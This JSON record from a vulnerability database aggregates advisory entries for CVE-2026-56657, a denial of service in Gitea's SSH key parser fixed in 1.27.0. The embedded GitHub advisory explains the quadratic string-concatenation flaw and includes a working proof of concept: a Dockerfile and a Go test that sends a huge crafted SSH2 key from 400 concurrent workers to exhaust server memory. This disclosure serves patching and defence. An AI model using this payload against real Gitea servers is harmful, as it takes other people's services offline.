{"id":"EUVD-2026-58144","revision":null,"records":[{"revision":"0deabf5af56242b6baac9da33a23251a","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-56657","aliases":[],"title":"Gitea SSH Key Parser Denial of Service","description":"Gitea SSH Key Parser Denial of Service","state":0,"publishedAt":"2026-08-13T16:44:43.329+00:00","modifiedAt":"2026-08-13T18:48:49.731+00:00","affected":[{"ecosystem":"Vendor product","name":"Gitea Open Source Git Server","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Gitea\",\n                    \"product\": \"Gitea Open Source Git Server\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"lessThanOrEqual\": \"1.26.4\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ],\n                    \"defaultStatus\": \"unaffected\"\n                }"}],"metrics":[],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-4xjf-493q-98p3","https://github.com/go-gitea/gitea/releases/tag/v1.27.0","https://blog.gitea.com/gitea-1.27.0-is-released/"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-56657","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-56657","identifiers":["CVE-2026-56657"]},"retained":false,"historicalAffected":[]},{"revision":"705048ecac8d46dca6994214f7d6e277","observedAt":"2026-11-11T14:06:40.487+00:00","statement":{"source":"euvd","id":"EUVD-2026-58144","aliases":["CVE-2026-56657","GHSA-4xjf-493q-98p3"],"title":"Gitea SSH Key Parser Denial of Service","description":"Gitea SSH Key Parser Denial of Service","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":6.2,"severity":null}],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-4xjf-493q-98p3","https://github.com/go-gitea/gitea/releases/tag/v1.27.0","https://blog.gitea.com/gitea-1.27.0-is-released/"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-58144","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 13, 2026, 4:44:43 PM","dateUpdated":"Aug 13, 2026, 6:48:49 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-58144","identifiers":["EUVD-2026-58144","CVE-2026-56657","GHSA-4xjf-493q-98p3"]},"retained":false,"historicalAffected":[]},{"revision":"f74e83043c394508b68c143d39e8a606","observedAt":"2026-10-25T14:19:10.848+00:00","statement":{"source":"nvd","id":"CVE-2026-56657","aliases":[],"title":"Gitea SSH Key Parser Denial of Service","description":"Gitea SSH Key Parser Denial of Service","state":0,"publishedAt":"2026-08-13T17:17:25.47+00:00","modifiedAt":"2026-08-26T16:53:48.3+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · 134c704f-9b21-4f2e-91b3-4a467353bcc0 · Secondary","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":6.2,"severity":"MEDIUM"}],"references":["https://blog.gitea.com/gitea-1.27.0-is-released/","https://github.com/go-gitea/gitea/releases/tag/v1.27.0","https://github.com/go-gitea/gitea/security/advisories/GHSA-4xjf-493q-98p3"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-56657","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-284"],"productCriteria":[],"sourceDates":{"published":"2026-08-13T17:17:25.470","lastModified":"2026-08-26T16:53:48.300"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-56657","identifiers":["CVE-2026-56657"]},"retained":false,"historicalAffected":[]},{"revision":"f4a3a434427646619a14cce72f163d28","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-4xjf-493q-98p3","aliases":["CVE-2026-56657","GO-2026-6042"],"title":"Gitea SSH Key Parser Denial of Service","description":"Gitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline.\n\n### Root Cause\n\nAn attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines — for example, 400,000 lines of 100 characters each (~38 MB total).\n\nThe request reaches `CreateUserPublicKey` with no prior size check:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/key.go#L201-L212\n\nThis calls `CheckPublicKeyString` which immediately calls `parseKeyString`. Inside `parseKeyString`, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using `keyContent += line`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh_key_parse.go#L60-L79\n\nBecause Go strings are immutable, each `+=` at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is `N*(N+1)/2`, making the operation `O(N²)` in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key.\n\nThis is only possible because neither the web form field nor the API struct carries a size constraint:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user_form.go#L308-L317\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo_key.go#L33-L49\n\n### PoC\n\nTo reproduce, clone gitea and checkout commit `9155a81b9daf1d46b2380aa91271e623ac947c1e`. Then create the following files from the gitea root directory:\n\n`poc/Dockerfile`\n```docker\nFROM golang:1.26-alpine AS builder\n\nRUN apk add --no-cache git build-base\n\nWORKDIR /gitea\n\n# Download deps in a separate layer so rebuilds are fast after source changes.\nCOPY go.mod go.sum ./\nRUN go mod download\n\n# Copy full source (needed for fixtures, config templates, and compilation).\nCOPY . .\n\n# Compile the integration test binary.\n# modernc sqlite (pure Go, no CGO needed) is the default driver.\nRUN CGO_ENABLED=0 go test -c \\\n      -o /integration.test \\\n      gitea.dev/tests/integration\n\n# ── runtime image ────────────────────────────────────────────────────────────\nFROM alpine:3.22\n\n# git is required at runtime: the test framework initialises git repos.\nRUN apk add --no-cache git\n\nCOPY --from=builder /integration.test /integration.test\n# Keep the full source at /gitea so runtime.Caller(0) path resolution works\n# and fixtures / config templates are accessible.\nCOPY --from=builder /gitea /gitea\n\nRUN adduser -D -u 1000 poc && chown -R poc:poc /gitea\n\nWORKDIR /gitea\n\nUSER poc\n\nENTRYPOINT [\"/integration.test\", \\\n            \"-test.run\", \"TestDoSSSHKeyParserOOM\", \\\n            \"-test.v\", \\\n            \"-test.timeout\", \"600s\"]\n```\n\n`tests/integration/poc_dos_test.go`\n```go\npackage integration\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"runtime/debug\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\tauth_model \"gitea.dev/models/auth\"\n\tapi \"gitea.dev/modules/structs\"\n\t\"gitea.dev/tests\"\n)\n\nfunc TestDoSSSHKeyParserOOM(t *testing.T) {\n\tdefer tests.PrepareTestEnv(t)()\n\n\t// Raise the GC trigger so intermediate strings accumulate faster,\n\t// matching realistic server behaviour under sustained allocation load.\n\tdebug.SetGCPercent(400)\n\n\t// Log in as an ordinary user — no special privileges needed.\n\tsession := loginUser(t, \"user1\")\n\ttoken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser)\n\n\tconst (\n\t\tnumLines     = 400_000\n\t\tcharsPerLine = 100\n\t\tnumWorkers   = 400\n\t)\n\n\tvar sb strings.Builder\n\tsb.WriteString(\"---- BEGIN SSH2 PUBLIC KEY ----\\n\")\n\tsb.WriteString(\"Comment: dos\\n\")\n\tline := strings.Repeat(\"a\", charsPerLine) + \"\\n\"\n\tfor i := 0; i < numLines; i++ {\n\t\tsb.WriteString(line)\n\t}\n\tsb.WriteString(\"---- END SSH2 PUBLIC KEY ----\\n\")\n\tpayload := sb.String()\n\n\tpeakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 << 30)\n\tt.Logf(\"payload=%.1f MB  workers=%d  peak_theory=%.1f GB\",\n\t\tfloat64(len(payload))/(1<<20), numWorkers, peakGB)\n\n\t// Each goroutine marshals its own JSON body. The bytes live in req.Body\n\t// for the entire duration of MakeRequest, so numWorkers concurrent\n\t// goroutines hold numWorkers × payload_size bytes simultaneously.\n\t// With numWorkers=400 and payload=38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM.\n\tvar (\n\t\twg    sync.WaitGroup\n\t\tdone  atomic.Int64\n\t\tready = make(chan struct{})\n\t\tstart = time.Now()\n\t)\n\n\tfor i := 0; i < numWorkers; i++ {\n\t\twg.Add(1)\n\t\tgo func(id int) {\n\t\t\tdefer func() { done.Add(1); wg.Done() }()\n\t\t\t<-ready\n\n\t\t\treq := NewRequestWithJSON(t, \"POST\", \"/api/v1/user/keys\", api.CreateKeyOption{\n\t\t\t\tTitle: fmt.Sprintf(\"dos-%d\", id),\n\t\t\t\tKey:   payload,\n\t\t\t}).AddTokenAuth(token)\n\n\t\t\tMakeRequest(t, req, NoExpectedStatus)\n\t\t}(i)\n\t}\n\n\tgo func() {\n\t\tvar ms runtime.MemStats\n\t\tticker := time.NewTicker(5 * time.Second)\n\t\tdefer ticker.Stop()\n\t\tfor range ticker.C {\n\t\t\truntime.ReadMemStats(&ms)\n\t\t\tt.Logf(\"[%4.0fs] done=%d/%d  HeapSys=%.1f GB  HeapAlloc=%.1f GB\",\n\t\t\t\ttime.Since(start).Seconds(), done.Load(), numWorkers,\n\t\t\t\tfloat64(ms.HeapSys)/(1<<30), float64(ms.HeapAlloc)/(1<<30))\n\t\t}\n\t}()\n\n\tclose(ready)\n\twg.Wait()\n\tt.Logf(\"all done in %.1fs — container survived, increase numWorkers or numLines\",\n\t\ttime.Since(start).Seconds())\n}\n```\n\nWhen you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following:\n\n```sh\ndocker build -t gitea-dos-poc -f poc/Dockerfile .\ndocker run --rm --memory=12g --memory-swap=12g gitea-dos-poc\n```\n\nWhich prints out:\n```\n=== TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35)\n    testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta\n    testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost)\n    testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost)\n    poc_dos_test.go:62: payload=38.5 MB  workers=400  peak_theory=29.8 GB\n```\n\n... demonstrating high memory consumption. On my end, memory is consumed within 1 second.","state":0,"publishedAt":"2026-07-21T21:09:57+00:00","modifiedAt":"2026-09-24T15:30:05.4019905+00:00","affected":[{"ecosystem":"Go","name":"code.gitea.io/gitea","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.27.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"gitea.dev","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.27.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-4xjf-493q-98p3","https://nvd.nist.gov/vuln/detail/CVE-2026-56657","https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31","https://blog.gitea.com/gitea-1.27.0-is-released","https://github.com/go-gitea/gitea","https://github.com/go-gitea/gitea/releases/tag/v1.27.0"],"sourceUrl":"https://github.com/advisories/GHSA-4xjf-493q-98p3","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-4xjf-493q-98p3","identifiers":["GHSA-4xjf-493q-98p3","CVE-2026-56657","GO-2026-6042"]},"retained":false,"historicalAffected":[]},{"revision":"20a84c9da67743a3ba64e6ea76227a07","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6042","aliases":["CVE-2026-56657","GHSA-4xjf-493q-98p3"],"title":"Gitea SSH Key Parser Denial of Service in gitea.dev","description":"Gitea SSH Key Parser Denial of Service in gitea.dev","state":0,"publishedAt":"2026-07-22T20:36:35+00:00","modifiedAt":"2026-07-22T21:00:25.7231609+00:00","affected":[{"ecosystem":"Go","name":"gitea.dev","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.27.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-4xjf-493q-98p3","https://github.com/go-gitea/gitea/releases/tag/v1.27.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6042","license":"OSV · upstream source license applies","key":"osv:GO-2026-6042","identifiers":["GO-2026-6042","CVE-2026-56657","GHSA-4xjf-493q-98p3"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T13:16:42.2781808+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T13:16:42.2781808+00:00","lastSuccessAt":"2026-11-12T13:16:56.5093359+00:00","error":null,"lastVerifiedAt":"2026-11-12T13:16:56.6705396+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-5bccd177289498505bca058c1d1f630384f5399f00540fa3e5d47f20d2a6ab62","complete":true,"records":424657,"lastAttemptAt":"2026-11-12T13:16:32.7240217+00:00","lastSuccessAt":"2026-11-12T12:53:35.3826245+00:00","error":null,"lastVerifiedAt":"2026-11-12T13:16:32.7240217+00:00","snapshotPublishedAt":"2026-11-12T12:31:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-0580dcc98aaa46a8935f8ff576f25037","complete":true,"records":13764,"lastAttemptAt":"2026-11-12T13:17:48.2511097+00:00","lastSuccessAt":"2026-11-12T11:56:20.209+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:56:20.209+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13817,"expectedIdentifiers":13817,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T13:16:42.2781808+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T13:16:42.2781808+00:00","lastSuccessAt":"2026-11-12T13:17:21.262797+00:00","error":null,"lastVerifiedAt":"2026-11-12T13:17:21.2627987+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b583b1f1d03648d39137894990f36f1f","complete":false,"records":13764,"lastAttemptAt":"2026-11-12T13:17:47.2959707+00:00","lastSuccessAt":"2026-11-12T13:17:47.29+00:00","error":null,"lastVerifiedAt":"2026-11-12T13:17:47.29+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13817,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T13:16:41.0426322+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T13:16:41.0426322+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T13:16:38.8056345+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T13:16:38.8056345+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f46f74c6a30a9b6e4cfb481719c6d35521ebec2d53ebf163223d093ae587eb9d","complete":true,"records":3106,"lastAttemptAt":"2026-11-12T13:16:41.9050136+00:00","lastSuccessAt":"2026-11-12T09:55:31.1176285+00:00","error":null,"lastVerifiedAt":"2026-11-12T13:16:41.9050136+00:00","snapshotPublishedAt":"2026-11-12T09:48:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-9fe0abab1a1e38846a00931efa6f1538c21ec4cb4a790552d5b52b39478d28ca","complete":true,"records":231701,"lastAttemptAt":"2026-11-12T13:16:38.9757105+00:00","lastSuccessAt":"2026-11-12T12:55:40.1640864+00:00","error":null,"lastVerifiedAt":"2026-11-12T13:16:38.9757105+00:00","snapshotPublishedAt":"2026-11-12T12:33:30+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}